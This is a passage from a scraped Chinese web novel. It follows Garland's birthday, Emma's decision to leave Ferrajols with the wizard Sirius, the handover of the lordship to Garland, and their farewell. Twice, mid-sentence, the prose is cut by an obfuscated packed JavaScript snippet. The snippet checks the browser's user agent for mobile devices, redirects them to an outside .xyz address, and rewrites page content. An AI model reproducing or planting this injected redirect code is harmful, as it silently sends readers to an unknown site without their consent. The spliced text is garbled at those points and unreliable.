时间不知不觉就会过得很快,一月,二月,五月,循环往复。很快又要开始筹备今年的揽花节,种种工作安排习惯般地从脑海里涌出来。 在那些纷乱地喧嚷着的信息里,嘉兰突然茫然地想到另一件事:她的生日在五月十日。 这日子总是和揽花节撞在一块儿,即使不是庆典当天,也是后勤事务最繁忙的时期。她很久没正式过过生日了。 嘉兰实际对此没什么遗憾。她本身是个仪式感稀薄的人,不觉得生日有多特殊的意义。 那一天也不过就是无数个普普通通的日子之一。朋友或许会送些礼物,当天抽空吃一口蛋糕,或者忙到全忘了,也就这么过了。 小的时候,她还不需要为生计和工作忧虑时,嘉兰记得自己很喜欢这个生日。 满街都是鲜花,人们把春天装点在屋檐上,空气是快乐的。嘉兰也很快乐。仿佛这个城市里所有人都在庆祝她的生日。 但所有人长大之后记性好像都要变差,或者快乐的分量改变,同样的事不再令人高兴了。 有一年嘉兰在生日收到了戴斯的礼物,她在对方得意又期待的目光里拆开礼盒,盒子里是一双高跟鞋。 漆面考究,裁剪漂亮。鞋跟又高又细,精巧且脆弱。 一种没能用语言确切描述的狂怒突然没过了她。 德尔薇敏锐地看出嘉兰情绪的异常,把作为礼物的书放进鞋盒里打断她。嘉兰知道这不是个合适生气的时机。 但她的声音和表情还是不自觉地更加冰冷,只是用仍然客气的语气对戴斯道:谢谢您的好意。我平常穿不了高跟鞋,它不适宜工作。这是双漂亮的鞋子,送给我落灰太可惜了。 戴斯没想到她要退回礼物,瞪大眼,迅速地反驳说,那工作之外穿就好了呀!我觉得这鞋子多适合你,总有合适的场合—— 没有。嘉兰冷硬地打断了他,盯着戴斯的眼睛。没有合适的场合。 戴斯的脸色变得难看了。他和嘉兰的视线僵持一会儿,最终也没收回礼物,恼火地离开了房间。 德尔薇替他接过盒子,只是说,他是好心。 嘉兰说我知道。 嘉兰知道戴斯曾想要和她做朋友,但他的好意总是傲慢又不得其法,他们差距太大。戴斯没有让步,她也没有。 嘉兰知道自己在生气,为许多理由。最终他们也没做成朋友。 在刚开始教艾玛剑术的第二年的春天,凯旁敲侧击别别扭扭地试图从她这里探听点什么东西,把嘉兰绕得迷茫,凯也苦恼。 迪尔把他拎到一边,对嘉兰开门见山道:你喜欢什么样的剑? 所以嘉兰事前就知道自己会在生日收到一把剑,连大概是什么款式与尺寸都很清晰了。一切公开透明。没有惊喜也好,起码令人放心。 她忙完揽花节的筹备事务,傍晚时赶到城堡角落的练习场,还是比跟艾玛说好的训练时间迟了些。 迎接她的是一捧比艾玛人还高的花。 艾玛从花后探出头来,对她说:生日快乐! 意料之外的人送给了她预定计划里的礼物。 嘉兰从花束中心取出那柄剑。分量适中,款式尺寸和说好的一致,但用料做工比嘉兰想象里好上数倍。 当然,小领主能给出的预算比城堡的小会计护卫要多很多。艾玛认为这份礼物是大家共同的心意。嘉兰拔出剑时,凯和迪尔正在不远处的墙沿边观望情况。 剑的手感很好,趁手得像为她量身定做。嘉兰不是挑剔兵器的人,换句话说,她平时在这方面并不上心。 她抚摸过剑柄上的刻痕,那里写着她的名字。 “嘉兰”,没有姓氏和前后缀,非常简单。 嘉兰突然感到心里松动了一下,遥远的愤怒在风里流失了。 在艾玛期待的目光里,嘉兰自然地想要说感谢的话,突然喉咙哽咽。 那时候,嘉兰想,那时候,是有一瞬间,有那样一种冲动,她莫名地想向艾玛跪下来,把剑柄交给她,剑尖压在自己肩上。像骑士礼那样。 是有过那样一个瞬间,她想向这个孩子宣誓忠诚,许诺直到死亡的从今以后。 嘉兰慢慢地想道,但原来那时候,即使给出这样的誓言,艾玛也大概是不需要的。 嘉兰在艾玛的卧房门前站定,指节刚碰到门板,一扣就开了。 艾玛坐在书桌前,向她回过头来:“下午好,嘉兰。” 嘉兰轻微地停顿了一下,回答:“下午好,艾玛大人。” “有什么事吗?工作上的,还是私人问题?”艾玛对她微笑。 这是一场两方都有预设的谈话。 嘉兰说:“私人问题。” 艾玛点头:“我不知道要从哪里开始讲,你先提问吧。” 嘉兰走进房间,关上门。 她的犹豫只持续了两秒,就选择了最直接的问法:“你为什么要离开这里?” 艾玛笑了笑:“西里斯是怎么说的?” “他让我直接来问你。”嘉兰压了压眉毛,“你要把问题踢回去吗?” “不,我会回答的。即使西里斯给过你解释,我也有想要亲口跟你说的话。” 艾玛站起身,靠在桌沿上,面对着嘉兰。 她歪过头,打量嘉兰的表情,看到她刚刚严肃起来的神色里又流露出一丝无奈,艾玛笑起来:“嘉兰总当我是小孩子。” “我比你大五岁,而且……家里的妹妹和你年纪差不多。” “被当作小孩子的时候,很多大人都不会和我平等地对话,这让我很困扰。你一开始也有点这样,但你在越来越正视我,我很高兴。”艾玛说,“我没有兄姊,但有同父异母的妹妹和弟弟,他们从来没叫过我姐姐。看着你的时候,我会想,‘姐姐应该是这样的吧’。” 嘉兰盯着她的眼睛:“你第一次提起家人。你说你忘了的。” “嗯,我没有忘记,你大概 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艾玛想了想:“就像……我才学会了排除法,能够判断自己不想要什么,但还无法从剩下广阔的可能性里确定‘我想要什么’。可是如果只停留在原地,我无法去尝试其他可能,也得不到其他的判断依据。” “也就是说,”嘉兰总结,“对你而言,成为这里的领主,只是你做出的‘尝试之一’。因为发现了结果不是你想要的,你就决定放弃它。” “可以这么说。”艾玛犹豫了一下,“但这听起来是更让你生气的说法。” 嘉兰看起来没有生气,但表情也没什么变化:“真奢侈啊。” “这也是我所拥有过的……最奢侈的愿望了。”艾玛笑了笑。 “所以,把你不要的责任和权力一起甩给我,因为我是你可以控制的人,还是因为你仍然……把我当作朋友,觉得这样能让我消气?” “你是我的朋友。”艾玛率先肯定了这一点,有点困扰地皱了皱眉,“我做好了你会生气的准备。但是,希望你成为领主,和那些原因无关。 “我对这座城市来说,只是一个旅客,但在这里暂居的时间中,我认识了你们,学会了很多事情。我感谢在这里遇见的一切。即使我要离开费拉约尔斯,我也希望这座城市越来越好。它应该被交给更爱它的人。 “你对这座城市的热爱和了解,我都知道,我相信你能让这座城市变得更好,嘉兰。” 艾玛认真地看着她的眼睛:“我希望你成为这里的领主,因为我觉得你有足够的能力,也有相应的意愿。我认为你是最合适的。 “但是……像过去一样,我会尊重你的意见。如果你确实有不想成为领主的理由,我会接受的。” 嘉兰说:“要是我因为生你的气不想当这个领主,你也接受?” 艾玛点头:“嗯,如果是这个原因,我大概会有点难过,但我仍然会接受。” 嘉兰叹了口气:“如果真因为这种理由就放弃——那只能说明我的理想也不过如此。自己想要的东西都送上门来了,我怎么会为了这种幼稚的原因就不接受?” 她的语气放松下来。艾玛观察着嘉兰的表情:“你看起来,没有生气?” “没生气啊。你说得很坦诚。虽然我觉得自己还没有那么了解你,但也能够听出来,那是你认真考虑过后最真实的想法。我不至于因为朋友说了点真心话就生气。”嘉兰说。 艾玛呆了一会儿:“哦……我还以为,嘉兰你那么认真,会很讨厌这种任性的行为。” “确实很任性。”嘉兰扬起了唇角,“但任性是小孩子的特权。” 艾玛为难地想了想:“我的想法确实还很不成熟……好吧,我接受这个说法。” “没有幼稚的起点和过程,哪里来成熟的结果呢?”嘉兰轻轻笑了声,“我好像能稍微理解你一点了……虽然我们确实想法不同,但我不否定你。想要追求更好、更适合你的可能性,不如说,这本身也是在追求理想。 “虽然它还只是理想的种子,未得到足够的养料,但迟早会有开出花来的一天。我未必……有机会见证它的光芒,但我仍然祝福你,艾玛。我祝福你能找到自己真正想要的东西。” “嗯,谢谢你,嘉兰。”艾玛的目光闪烁了一下,轻声说,“一直以来,我都很感谢你。” “那么,剩下的问题就只有一个了。”嘉兰正了正神色,“话都说到这个地步,我今天也不客气了——西里斯那家伙到底是怎么回事?” 艾玛眨了眨眼睛:“是指……哪个方面?” 嘉兰掰了掰手指:“会很多奇怪的魔法,工作效率高得吓人,好像不需要休息,对于他的能力作风来说外表过于年轻,性格糟糕……这点算了。问题多得数不胜数,你是怎么遇见这种怪胎的?” “这些地方还好吧。”艾玛说。 嘉兰想,童年教育对人的影响真是不可估量,是要怎么样才会觉得那些表现算作普通? 艾玛为难道:“但有关他的事情,我知道得也不太多。” 嘉兰啧了声:“那家伙的保密主义是不是太过分了?” “有时候我也这么想。” “就像看解谜故事到最后都没有谜底一样,真让人不爽。” 艾玛想了一会儿:“虽然不会是故事的谜底……但作为完善一个故事的补充,或许能这么解释: “西里斯是一个恶魔。他跟我签订了契约,要为我实现三个愿望,愿望实现之后,我会将自己的灵魂支付给他作为报酬。 “恶魔在人间生活过很久,不老不死,会许许多多奇怪的法术。 “如果这是故事的前提,你可以接受吗?” 嘉兰愣了一会儿,大笑起来:“还真是——如果真是这样的话,那些奇怪的地方都说得通了!” 她笑着笑着,停下来:“虽然能够解释,如果真是这样就好了。那家伙性格很烂,看了让人生气……但他实在不像一个恶魔啊。” 艾玛也笑了:“那我下次得跟西里斯说,他角色演得不好,还是换一个吧。” 42.交接 凯背靠墙面,双手交握,面色发白:“我好紧张。” “紧张什么?”靠在门边的西里斯看了看他,语气轻松。 “我第一次负责组织宴会……虽然模拟过几十种意外情况发生了要怎么处理,但是在客人跟我说她家管家抓到了趁她外出在家里和情人私会的男主人并且在吵闹中不慎打翻了烛台现在家里着火需要告辞离开的时候,大脑一片空白,不知道怎么回复。” “哦,真是丰富多彩。”西里斯平淡地回答,“费城的住宅基本是石制的,会烧起来倒真少见。” 凯的表情仍然凝重:“管家的工作还包括抓奸吗?嘉兰她……她会吗?” “你这时候不怕被她打了?” “即使是嘉兰看到我紧张到这个程度也会手软吧……好吧她不会。”凯抹了把脸。 “目前为止一切顺利,你做得不错。不用太担心,你参与过那么多次宴会的组织事务,看我做也看得够多了。” “但是真到了自己负责的时候,总怕自己有哪个环节不小心忘了,我记性可一直不是很好啊……”凯进行了几次深呼吸,“一想到等会儿还要回会场,就觉得胃有点疼……您真的不去吗?” “不去。累。”西里斯言简意赅。 凯向他投去可怜的目光:“您在我会觉得安心一点……” “我要是在,压力就该到我这边了。”西里斯压了压眉毛,“最近称病躲掉了那么多事,要被人追着问很麻烦。” 凯欲言又止,止又欲言:“我还是——很担心。就是,我能理解您决定离开,可还是有点太突然了,我没信心在您走之前能学得足够好……” “你要是真的担任不了,退一万步我也不会选你。经验都是自己做着做着练出来的,说再多警告都比不上你自己真的摔一次跤。真要犯错就犯吧,还有嘉兰在,出了问题她会帮你兜着。” 凯皱起脸,不甘心地捏了捏自己的手:“我不能总靠着她啊!我是要给她帮忙的,做哥的怎么能总要她操心……” 他们总时不时还会在乎点年龄辈分的问题,西里斯听着有点好笑,小孩子的心思。 想着想着,凯又焦躁起来了:“而且至今我都没学会魔法,领主身边总要有魔法师才行。嘉兰没有魔法的天赋,没有魔法师帮着她的话很危险……” “费拉约尔斯又不是没有其他魔法师。”西里斯淡淡道,“多蒙先生退休了,他那边原本有合作关系的魔法师也在考虑更换契约对象,嘉兰已经在谈了。即使谈不成,也有其他选项。” “练了那么久都没学会魔法,我是不是真的天赋不行?”因为压力和紧张,凯比平时更容易沮丧,低落地看着地面。 “客观说来……我认为你的魔法天赋应该是‘不错’的。” 凯抬起头,有所希冀地看着他:“真的吗?怎么看出来的?” 西里斯说:“直觉。” “您要是真的想安慰我的话可以不要突然这么敷衍吗?” “魔法师的‘直觉’可不是那么缥缈的东西,我的直觉起码能下这点判断。你要是真的天赋很弱,我根本懒得考虑教你。”西里斯说,“你至今还没有学会,因为你的愿望还是不够明确。天赋越强,所匹配的决心就需要更坚定,愿望就要更强烈……你一直缺少这种东西。” 凯说:“您这话好像我爷爷说我们这辈就是日子过得太舒服了。” “有这个意思。”西里斯坦然承认。 凯认真地捏着下巴想起来:“那就是得想办法给自己找点罪受?” 他突然觉得脑袋一沉,身子被压得向前一倾。 凯回过神,才意识到是西里斯揉了揉他的头。 “不用想太多。”西里斯的声音比平时低一些,“你能活着就很好了。” 凯呆了好一会儿,直到西里斯收回手,他才双眼放光有流泪之势般猛地回头:“您是在关心我吗?” 西里斯语气平常:“我就是说你别死了。” “哇您真的在关心我!!第一次诶!!我好感动……” “我平常有这么不近人情吗?” “谢谢您……我会努力的。”凯感动地抹了抹眼睛,“那么我最好的老师,您能不能陪我去宴会厅我还是有点慌……” 西里斯说:“滚。” “关于迪尔……还真是有点为难。”西里斯皱着眉,敲了敲桌面,“他做事利落,而且意外的细心,又是你绝对信得过的人,让他负责整个城堡的防卫工作也不为过。但他不擅长管理,那种位置又一定要跟人打交道。” “迪尔说,如果需要,他可以少说话。管理方面他可以试着学,但不要抱太大期待。”嘉兰回答。 西里斯有点意外:“我还以为迪尔会直接说别指望他。” “可能是心态变了吧。”嘉兰没太在意,“虽然还是没什么动力的样子,但他最近比以前积极一点了。” 西里斯点头:“我记得他跟你说话的时候倒是比较收敛。” “哦,他小时候跟我说话也挺欠的,我那时候脾气不好,迪尔惹到我了我也会揍他。”嘉兰想想,“大概是打多了就收敛了吧。” “因为这种原因?” “不信?”嘉兰对他灿烂一笑,“那你不用魔法跟我打一场。” “不了。” 嘉兰切了一声:“没劲,快走了都不敢答应一次?你身板看着也不像是细得拿不起刀剑的样子啊,难道真没练过?” “我没有系统地学过战斗手段,也不会什么剑术。魔法就是我的兵器。如果抛掉兵器,我赢不了你。” 对西里斯挑衅下战书有好几回,但嘉兰第一次听见他这么回答:“你认输了?” “我在说术业有专攻。真不理解你莫名其妙的执着和好胜心。” 西里斯的语气仍然像平常那样让她不快,但嘉兰却莫名地心里一动。那些日常里一点一滴滋长的变化,似乎越来越提醒着即将离别的事实。 时间真快啊,嘉兰有些恍神。 有时候觉得难熬的日子太慢了,有时候又觉得生活快得眨眼间就无法捕捉。 西里斯继续说:“你原本就有皇室承认的姓氏,这倒是帮了不少忙。” 嘉兰很快回过神:“是啊,没浪费我交了十几年的税金,真是意外之喜。” 皇室当年授封嘉兰父亲的文书和勋章,嘉兰的母亲一直好好地收纳在柜子里,嘉兰前阵子回家把它找了出来。 嘉兰幼时嫌弃这份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086923|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “荣耀”,恨不能把相关的一切都否定了,没想到现在真的会有借它方便的一天,一时也有些感慨。 她小时候就有类似当领主的愿望,当时理所当然地想,这本就不该是过问出身的职位,有能者都应该有资格竞争。 道恩先生并未因为她的天真而不悦,而是认真地向她解释了贵族这个系统的部分运作原理。 嘉兰当年似懂非懂,现在却能理解了。 西里斯能做到让没有姓氏和出身的艾玛成为领主和贵族,借魔法作了不少弊。而即使如此,他对皇室和贵族也编了一个模糊的故事,让他们相信艾玛确有来历。 制度的改变不是一朝一夕之功,不会被一腔热血的梦想轻易打动。 或许这世上是有魔法和奇迹,但嘉兰天生没有得到魔法的青睐,奇迹并非她可以掌控。 没有魔法的人想要创造类似“奇迹”的东西,更需要在理解并一定程度顺应环境规则的基础之上。 现实残酷无情,但也并非全无希望。 嘉兰想,从她收起自己的棱角锋芒,第一次对着讨厌的人耐下心来,装出温和的表情时,她就已经开始学会这件事了。 要成为领主当然不容易,接任的过渡、要处理的手续、对舆论走向的预计和控制,待完成的事项堆积如山。 但嘉兰看起来神采奕奕,大约是对正在做的事充满期待与信心,眼神格外明亮,满是生机和热情。 西里斯靠在椅子里看了她一会儿,说:“有时候真有点佩服你。” “哦?要夸我?”嘉兰乐了,把脸边的头发拨到耳后,做出洗耳恭听的样子,“多夸几句听听。” 西里斯无声地叹气:“忙了这么多事还那么有精神,真是年轻啊。” “哟,半夜从来不睡觉,自称四十几岁积劳成疾带病退休,实际又做了一大批工作的巫师先生在说什么呢?”嘉兰一边说着又翻完了一份文件,“多蒙先生还挺担心你的,问了我好几次你的情况,你打算跟他解释吗?” “我不太理解你们这样的人。”西里斯说,“多蒙先生出生在费城,少年时曾出门远行,但中年又回到了这里。你也只是出生在这里,就毅然决定要留在这座城市,为它假想的美好未来煎熬心血。永不安于现状是你的优点,但你本来有机会选择更轻松的生活方式。” 嘉兰理所当然道:“热爱自己的故乡是那么让人难以理解的事吗?” 西里斯没回答。 嘉兰写完手头的文件,抬过眼去看他,正好对上他的目光。 西里斯问:“在你看来,‘故乡’的定义是什么?一个人出生的地方,久居的地方,还是家人所在的地方?” “真奇怪的问题。”嘉兰说,“你问出这句话的时候想到的地方,就是你的故乡了。” 西里斯沉默一会儿,笑了笑:“或许是这样。” 被这问题勾起了好奇,嘉兰问:“人的语言、习惯里都能透露出过去生活环境的影响,你的习惯表现很杂,我很陌生。可能是你在很多地方待过,揉了不同来源的影响,也或者你的故乡太远了,我完全不了解。它在哪里?我说不定听过?” “不重要了。”西里斯说,“不管它在哪里……我都回不去了。” 43.费城终章-后来 艾玛最终离开费城是1389年的秋天,花了一年半才将所有事安排妥当。 她挑时间提前告诉了雪莉和莫妮卡离开的决定。 有那么一阵子,艾玛想过要编个借口,或者直接把编来敷衍其他人的故事交给她们。 以艾玛对她们的了解,她知道,莫妮卡大概不会理解她的决定,即使不会表现出什么;而雪莉恐怕很难接受她离开的原因。 这颗星球有那么大,即使去不了海洋,也有无比广阔的陆地。艾玛还从未离开过自己出生的国家,这里对她来说很大了,但跟她未曾见过的世界相比,或许也不过沙漠里的一粒沙。 艾玛不知道她离开费城之后,是否还有一天会回这里拜访旧友。但起码她现在没有这样的计划。未来充满意外和不确定性。艾玛还是决定要做到现在能做的最好。 所以艾玛仍然向她们说了实话,最诚恳也最真实的理由。 雪莉一开始很茫然,在确定艾玛没有开玩笑,理解了她话里“离开”的决绝性之后,困惑难过又慌乱。 她绞尽脑汁、用尽自己的逻辑性想了一堆问题。你要是要离开,这个怎么办?那个怎么办? 艾玛也一个个回答她,这个会这么安排,那个还在想办法解决,西里斯会处理好的。 雪莉问着问着哭了起来,抱住艾玛开始说要跟她一起走。 艾玛说,可你还有家人在这里呀。你跟我不一样,你很喜欢这里的生活。 雪莉反问她,那你不喜欢这里吗?是因为不喜欢所以要走吗?你觉得这儿哪里不好,我们想办法解决,不要走好不好? 艾玛说:“可只有离开这里,我才有可能找到我想要的东西啊。” 雪莉说:“你要找什么?离开了就一定找得到吗?要找多久?找到了会回来吗?” “我不知道。我不确定。”艾玛说,“但我知道我得去找。” 既理解不了,也说不动,雪莉说到后来生了气,骂艾玛奇怪又任性,哭着从艾玛房间跑开了。 站在一边听了半天的莫妮卡这时候才说话:“你……已经决定了吗?” 艾玛点头:“嗯。” 莫妮卡有点不好意思地挠了挠脸:“啊,抱歉,你刚刚已经跟雪莉解释那么多了,我大概已经知道……呃,我不太知道怎么说……但是,艾玛你很聪明,很成熟,比我们想得都更多。你既然决定了,一定是已经有了充分的考虑。我再问太多,就有点招人嫌了。那就,祝你一路顺风……啊,是不是说得太早了?” 艾玛的语气仍然平常:“雪莉的问题是她的困惑。你有什么想问的吗,莫妮卡?我会回答的。” 莫妮卡看着她,愣了一会儿,眼眶忽然红了。 她急忙低下头,揉了揉眼睛:“对不起……刚刚看雪莉哭,突然也有点想哭了……” “嗯,对不起。”艾玛说,“我很抱歉不能和你们继续在一起。” 眼泪滴到了地面,地毯上一点一点显出一片深色的斑点。 莫妮卡压着声音,哭腔有点盖不住了:“那个……我可以,抱一抱你吗?但是,不好意思,眼泪一下子停不住,会弄脏你的衣服……” “没关系。” 艾玛向她伸出手,莫妮卡低着头靠进她怀里,哭起来。 雪莉是有几天不想理艾玛的,但她的工作就是照顾艾玛的日常起居,不得不跟她天天打照面。 她狠下心肠公事公办不跟艾玛有多余的交流,但艾玛跟她说话时声音比平常低一些,感觉有些抱歉,雪莉一听她这么说话就心软了,在创造了和艾玛冷战的历史纪录两天之后就迅速破功,又大哭了一场,和艾玛说了很久的话,后面几天比从前粘她粘得还紧。 她们最终都接受了艾玛会离开的事实。直到艾玛离开前,艾玛想到,雪莉和莫妮卡仍然未必真的理解了她的决定,或许有些人一生都无法理解这样的想法。 但作为朋友,艾玛总是期望她们将来会有能够理解的一天。 艾玛和西里斯离开的时候搭载了经过费城的商队。跟随商队穿越沙漠、停靠城市,是最普遍也相对可靠的旅行手段。西里斯提前跟领队谈好了条件。 作为外来人的领队不太了解费拉约尔斯的情况,不是所有商队都会拜见领主,何况此时掌事的已经是嘉兰了。 没有人知道曾经的领主悄悄离开的时间,只留下茶余饭后里众说纷纭的故事。 离开的时候知情人都来送了行。 艾玛跟嘉兰、莫妮卡,甚至凯和迪尔都拥抱了一下,雪莉是最后一个抱的,为了多抱一会儿时间。她明明做了很久准备,这时候还是哭了。 较为感性的凯也红了眼眶,深情地看向西里斯,准备也进行一个拥抱,被西里斯按着额头推开了:“离我远点。” “抱一下嘛师父!”凯很伤心,“以后可能就见不到了啊!” “见不到挺好的。”西里斯冷酷地说,“还有出去别说你是我教的。” 凯失落地盯着他,泪眼汪汪。 西里斯最终又补充了一句:“别死了。” 凯是给点阳光就灿烂的典型,一听这话眼睛又亮了:“我就知道您还是关心我的!不用不好意思嘛,告别的时候就算掉眼泪也不会有人笑话的……” “谁跟你不好意思。”西里斯说,“你也别哭,怪烦的。” 迪尔把凯从西里斯面前拎开了,向西里斯表示抱歉。 他跟西里斯互相点了点头致意,只是说了“一路顺风”,没有太多的感情表示。 迪尔从知道他们要离开的事开始就始终表现得比较平静,只是去了解了一些长途旅行相关的知识。 发现他在看这类书的凯惊呼“不会吧你对我师父还是艾玛大人用情至深至此要跟他们一起走吗”,当场被迪尔面无表情地按到桌上探讨了一番人生。 迪尔擅长手工,了解那些知识是为了准备相应的用具,希望送给他们能起到一些帮助。 他不擅长表达,不如说太过擅长毫无自知地惹恼别人,因此,除了嘉兰和凯,迪尔在自己有好感的人面前都会倾向于少说话。 虽然西里斯本来就准备了需要的东西,但并不拒绝迪尔的好意。 他还编了一个篮子,正值秋天,装了好些新鲜的水果,有点沉,因此交给了西里斯。 迪尔送了艾玛几张干花做的书签。长途旅行不方便带重物,但艾玛还是带上了几本自己特别喜欢的书,也很喜欢迪尔这份礼物。 嘉兰跟艾玛仍然说了一些工作上的话,让艾玛放心,末了又关心他们的行李是否周全,叮嘱艾玛路上小心,沙漠地带昼夜气温变化大,注意保暖,注意身体。 艾玛笑道:“这大概就是被姐姐关心的感觉吧。” “你第一次出远门,当然让人不放心。”她斜了西里斯一眼,笑,“某些人可不能失职啊。” “用不着你担心。”西里斯见嘉兰看了过来,道,“还有什么要说的话就说吧。” 嘉兰望着他,锐利的眼睛在日光下生辉熠熠,嘴角带笑:“你之前说,你只是我生命里的过客。‘过客’这词分量太轻了,最少,你是我的朋友,我敬佩的前辈,我喜欢的人。” 西里斯纠正:“喜欢‘过’。” “我的感情,是不是过去式我说了算,谁说我已经不喜欢你了?” 西里斯无话了片刻:“好吧,那你开心就行。” 嘉兰大笑起来,向他们挥挥手,阵风掀起城市边缘的沙尘。 “一路顺风!” 车队开始活动,逐渐远离城市,边界上挥手的人影越来越小,直到最后看不见了。车轮碾在沙地上,仍然发出嘈杂的碌碌声。 艾玛看着天际线上的人影,直到消失,支在膝盖上想了好一会儿,突然回过头:“西里斯。” “嗯?”一旁的西里斯投过目光,看到艾玛闪闪发亮的眼神,这让他有不好的预感。 “我现在不是领主、贵族,也把之前的身份都抛下了。新的地方不会有人认识我们。那,”艾玛期待地问,“你是不是可以用别的方式称呼我了?” 西里斯停顿片刻,发音清晰:“主人。” “诶……”艾玛有点失落,“我没有当你是奴隶,你也不是真正的恶魔,我们可以用更平等的方式交流。你可以不对我用敬语吗?” “我向您解释过,我们看起来不像有血缘关系。在外旅行有许多风险,我认为仍然和您保持主仆关系有利于提高安全性。即使我不是恶魔,但契约货真价实。” 艾玛抬眼看他:“但是,我希望我喜欢的人能直接叫我的名字。” 西里斯沉默了。 “我不会太让你困扰的,喜欢你是我的事,你不必非得回馈我什么。”艾玛说,“就像嘉兰那样。” 西里斯说:“您和她并不相同。” 艾玛眨了眨眼睛。 他移开视线,缓慢地呼出一口气:“……我很抱歉,您对我的好意在我预期之外。您遇见我时年纪还太小,对我难免有些美化想象。我从前……习惯于扩大自己在他人身上的影响,我的作风改变不彻底,行为大概有不妥当的地方。我会更加注意。” 艾玛看着他抱起的双臂,西里斯搭在手臂上的手指微微收紧。 艾玛说:“我让你紧张了。” “……我想说‘时间会证明很多事’,足够让太多东西变化。您将来或许会喜欢上其他人,或许只是弄错了感情的定义。” 西里斯的视线在空处停了一会儿,慢慢移回艾玛的眼睛里:“但我从来不能断言一个女巫的想法。我确实畏惧。” 艾玛抱在膝前的手指松散地交叠,视线下落,眼尾压下去,声音很低,显得和看起来一样沮丧:“我只是希望你能叫我的名字。” 西里斯嘴唇抖动了一下,半天没说话。 在嘈杂却寂静的风沙声里,艾玛逐渐找见他的声音,被空气所稀释,显出不确切的模糊。 “……我会试着改变称谓。”西里斯说,“请给我一些时间。” 艾玛愣愣看了他一会儿,目光亮起来。 西里斯说话时并没有看她,搭在臂上的手指仍然是紧绷的。 但艾玛已经满意,见好就收,心情立时很好地保持了一种愉快的安静。她安静的时候看起来总是很乖巧。 西里斯从余光里望见,一种清晰的无奈盖过那些复杂的考量,让他一时放弃了思考的力气。 彻底拒绝别人的方式有很多,但西里斯想不到在避免伤害艾玛的前提下如何温和地做到这点。 他不想欺骗艾玛,但也无法付出相应的感情。 那些伤口至今还在流血,他不愿提那些早该死去的故事。 “你这人其实挺麻烦的啊。” 幻听般的,他耳边响起朋友曾说过的话,带着醉醺醺的笑意和沙漠夜里篝火的燃烧声。 西里斯抬起头,太阳正好,车队外只有茫茫黄沙。 是很麻烦啊。他想。 . . . . . . 温布德尔·嘉兰是个好领主。 费拉约尔斯的人们都这么说。 “温布德尔”并不是个多出名的姓氏,但三五十岁的居民都能说点一二。英勇骑士的故事被从陈年往事里挖出来惋惜,嘉兰已经对此免疫,学会说些体贴的场面话。总归母亲对此是高兴的,费城的住民也因嘉兰的出身对她倍感亲切。 “那位骑士的女儿”不再是她姓名的前缀,反倒“领主的父亲”成了他的代称,嘉兰对这一点更得意。 跟从前的领主不同,嘉兰是实打实雷厉风行的行动派,做事风格实在又直接,很得民众好感。居民们时常能在街头巷尾看见她的身影,她路过都会跟认出她的人们打招呼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091958|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由于身手过人,嘉兰并不担心什么刺客,在巡逻的护卫队赶来前当街制服刺客的事倒有好几例。 凯每每听了都要倒吸冷气,感到头脑供氧不足,在嘉兰回来后都要夺命连环问:你怎么又单独出去了?防护的魔法石带了吗?受伤了吗?下次别这样了行吗? 嘉兰现在对凯更客气些了,会“嗯嗯没嗯”耐心地回上这一串问题。 原因无他,她能在外活动的时间比在办公室时间长,是因为那堆工作的重量有不少压到了凯肩上。这多少让她看凯的眼神更怜爱了些。 凯气恼地质问迪尔是不是完全没拦着她单独出去,实际不仅没拦还给嘉兰多准备了两把刀的迪尔用棒读的语气说:“哇完全没看见呢。” 迪尔自称当时他在看书,他现在确实看书看得不少,凯说上班摸鱼和你俩合起伙来耍我的后果你选一个吧。 迪尔说听起来都挺没威胁性的,真可怜。 凯为摊上这两个发小的孽缘骂完了自己学过的所有脏话。 嘉兰有时候会抽空去骑兵营转转,这对她来说也是种放松。见见熟人,活动活动筋骨。 她向马厩里艾玛常骑的马解释了一下艾玛不再来的理由,马未必听懂了,但不高兴嘉兰靠它太近。 每次遇到难题,心烦意乱的时候,她容易想起西里斯来。确实很难忘得掉。嘉兰有点莫名其妙的生气。 西里斯解决事情看着总是太轻松了,相似的东西,轮到她自己上手,就一万个不顺。 会魔法可真好啊,可她没这样的天分。 反正是见不到了——大概是见不到了,多骂他几句也没什么。 嘉兰骂着骂着,又有些轻微的惆怅。 她数一数,认识艾玛和西里斯的时间差不多有六年。 六年在人的一生里确实不算短了,但回过头总觉得那段时间像昙花一现。或者故事里神秘的贤者尽到了他此行的目的,一转身便消失在人海里,留受验者如大梦初醒。 如果不曾遇见过他们,或许一切事情都会有所偏移。 如果是原定轨迹的那六年,她如今还会顾忌着布雷德尔的恩情而无作为吗?会对自己的私心和决定毫无自疑吗? 不过,嘉兰能够确定,要是没有这几年的经历和学习,很多事她确实不能处理得像现在漂亮。 他们相遇的意义大概是在这些细小的、只有嘉兰自己感觉得到的地方。这痕迹很淡,凯和迪尔有时会聊起他们的事情,但新的话题又太多了。 时间的车轮滚滚向前,没人太在意与自己切身生活无关的东西。 嘉兰再明白不过。但仍然感到一些难以言明的失落和茫然。 她从骑兵营的侧门出来,门墙边贴着招募骑士的告示。 嘉兰驻足看了一会儿,这文书内容还是她自己拟的,换过好几版修辞。告示纸张很大,字体也很大,为了便于认读文字水平有限的民众查看。 嘉兰注意到附近有个孩子在看她,这显眼的视线逃不过她的注意。 那是个女孩。 她对上嘉兰的目光一愣,稍微有点露怯,但又很快鼓起勇气,直接走到了嘉兰面前。 